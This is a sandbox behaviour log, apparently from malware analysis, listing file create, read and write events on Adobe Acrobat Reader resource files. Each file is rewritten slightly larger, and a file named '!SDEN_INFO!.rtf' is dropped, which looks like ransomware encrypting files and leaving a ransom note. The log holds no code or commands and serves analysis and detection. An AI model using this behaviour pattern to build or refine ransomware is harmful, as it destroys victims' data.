File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\sk-sk\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\sk-sk\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\sk-sk\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\sk-sk\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\pages-app\css\main-selector.css, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\pages-app\css\main-selector.css, size = 1197, size_out = 1197	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\pages-app\css\main-selector.css, size = 2613	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\pages-app\images\themes\dark\rhp_world_icon.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\pages-app\images\themes\dark\rhp_world_icon.png, size = 388, size_out = 388	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\pages-app\images\themes\dark\rhp_world_icon.png, size = 1804	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\pages-app\js\nls\ja-jp\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\pages-app\js\nls\ja-jp\ui-strings.js, size = 1131, size_out = 1131	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\pages-app\js\nls\ja-jp\ui-strings.js, size = 2547	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\css\main-selector.css, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\css\main-selector.css, size = 802, size_out = 802	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\css\main-selector.css, size = 2218	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\fi-fi\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\fi-fi\ui-strings.js, size = 919, size_out = 919	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\fi-fi\ui-strings.js, size = 2335	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\pl-pl\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\pl-pl\ui-strings.js, size = 920, size_out = 920	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\pl-pl\ui-strings.js, size = 2336	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\uk-ua\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\uk-ua\ui-strings.js, size = 937, size_out = 937	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\uk-ua\ui-strings.js, size = 2353	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Appstore\Download_on_the_App_Store_Badge_en_135x40.svg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Appstore\Download_on_the_App_Store_Badge_en_135x40.svg, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Appstore\Download_on_the_App_Store_Badge_en_135x40.svg, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Appstore\Download_on_the_App_Store_Badge_en_135x40.svg, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Appstore\Download_on_the_App_Store_Badge_pt_135x40.svg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Appstore\Download_on_the_App_Store_Badge_pt_135x40.svg, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Appstore\Download_on_the_App_Store_Badge_pt_135x40.svg, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Appstore\Download_on_the_App_Store_Badge_pt_135x40.svg, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\am_get.svg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\am_get.svg, size = 7375, size_out = 7375	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\am_get.svg, size = 8791	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\es-419_get.svg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\es-419_get.svg, size = 6840, size_out = 6840	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\es-419_get.svg, size = 8256	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\lt_get.svg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\lt_get.svg, size = 6223, size_out = 6223	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\lt_get.svg, size = 7639	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\sk_get.svg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\sk_get.svg, size = 5470, size_out = 5470	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\sk_get.svg, size = 6886	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\scanAppLogo.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\scanAppLogo.png, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\scanAppLogo.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\scanAppLogo.png, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\fr-ma\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\fr-ma\ui-strings.js, size = 1503, size_out = 1503	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\fr-ma\ui-strings.js, size = 2919	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\ro-ro\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\ro-ro\ui-strings.js, size = 1487, size_out = 1487	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\ro-ro\ui-strings.js, size = 2903	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\zh-tw\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\zh-tw\ui-strings.js, size = 1366, size_out = 1366	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\zh-tw\ui-strings.js, size = 2782	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\images\themes\dark\cloud_secured.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\images\themes\dark\cloud_secured.png, size = 3233, size_out = 3233	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\images\themes\dark\cloud_secured.png, size = 4649	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\en-ae\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\en-ae\ui-strings.js, size = 4257, size_out = 4257	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\en-ae\ui-strings.js, size = 5673	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\hu-hu\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\hu-hu\ui-strings.js, size = 7193, size_out = 7193	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\hu-hu\ui-strings.js, size = 8609	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\ru-ru\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\ru-ru\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\ru-ru\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\ru-ru\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\plugin.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\plugin.js, size = 32768, size_out = 32768	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\plugin.js, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\plugin.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\plugin.js, size = 32768	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\email\dummy\fake_logo.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\email\dummy\fake_logo.png, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\email\dummy\fake_logo.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\email\dummy\fake_logo.png, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\themes\dark\adc_logo.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\themes\dark\adc_logo.png, size = 3709, size_out = 3709	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\zh-tw\!SDEN_INFO!.rtf, size = 5125	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\themes\dark\new_icons.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\themes\dark\new_icons.png, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\themes\dark\new_icons.png, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\themes\dark\new_icons.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\themes\dark\new_icons.png, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\images\dd_arrow_small2x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\images\dd_arrow_small2x.png, size = 385, size_out = 385	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\images\dd_arrow_small2x.png, size = 1801	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\images\themes\dark\dd_arrow_small2x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\images\themes\dark\dd_arrow_small2x.png, size = 385, size_out = 385	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\images\themes\dark\dd_arrow_small2x.png, size = 1801	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\da-dk\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\da-dk\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\da-dk\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\da-dk\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\hr-hr\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\hr-hr\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\hr-hr\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\hr-hr\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\root\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\root\ui-strings.js, size = 4096, size_out = 4096	2	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\root\ui-strings.js, size = 5512	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\root\ui-strings.js, size = 4096	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\tool\plugin.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\tool\plugin.js, size = 32768, size_out = 32768	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\tool\plugin.js, size = 4096, size_out = 4096	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\tool\plugin.js, size = 5512	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\tool\plugin.js, size = 32768	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\viewer\nls\nb-no\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\viewer\nls\nb-no\ui-strings.js, size = 849, size_out = 849	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\viewer\nls\nb-no\ui-strings.js, size = 2265	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\walk-through\images\close.svg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\walk-through\images\close.svg, size = 1390, size_out = 1390	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\walk-through\images\close.svg, size = 2806	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\walk-through\js\nls\es-es\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\walk-through\js\nls\es-es\ui-strings.js, size = 2784, size_out = 2784	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\walk-through\js\nls\es-es\ui-strings.js, size = 4200	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\walk-through\js\nls\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\walk-through\js\nls\ui-strings.js, size = 1215, size_out = 1215	1	Fn
For performance reasons, the remaining 1376 entries are omitted. The remaining entries can be found in glog.xml.

Thread 0x1188

2546

0

»

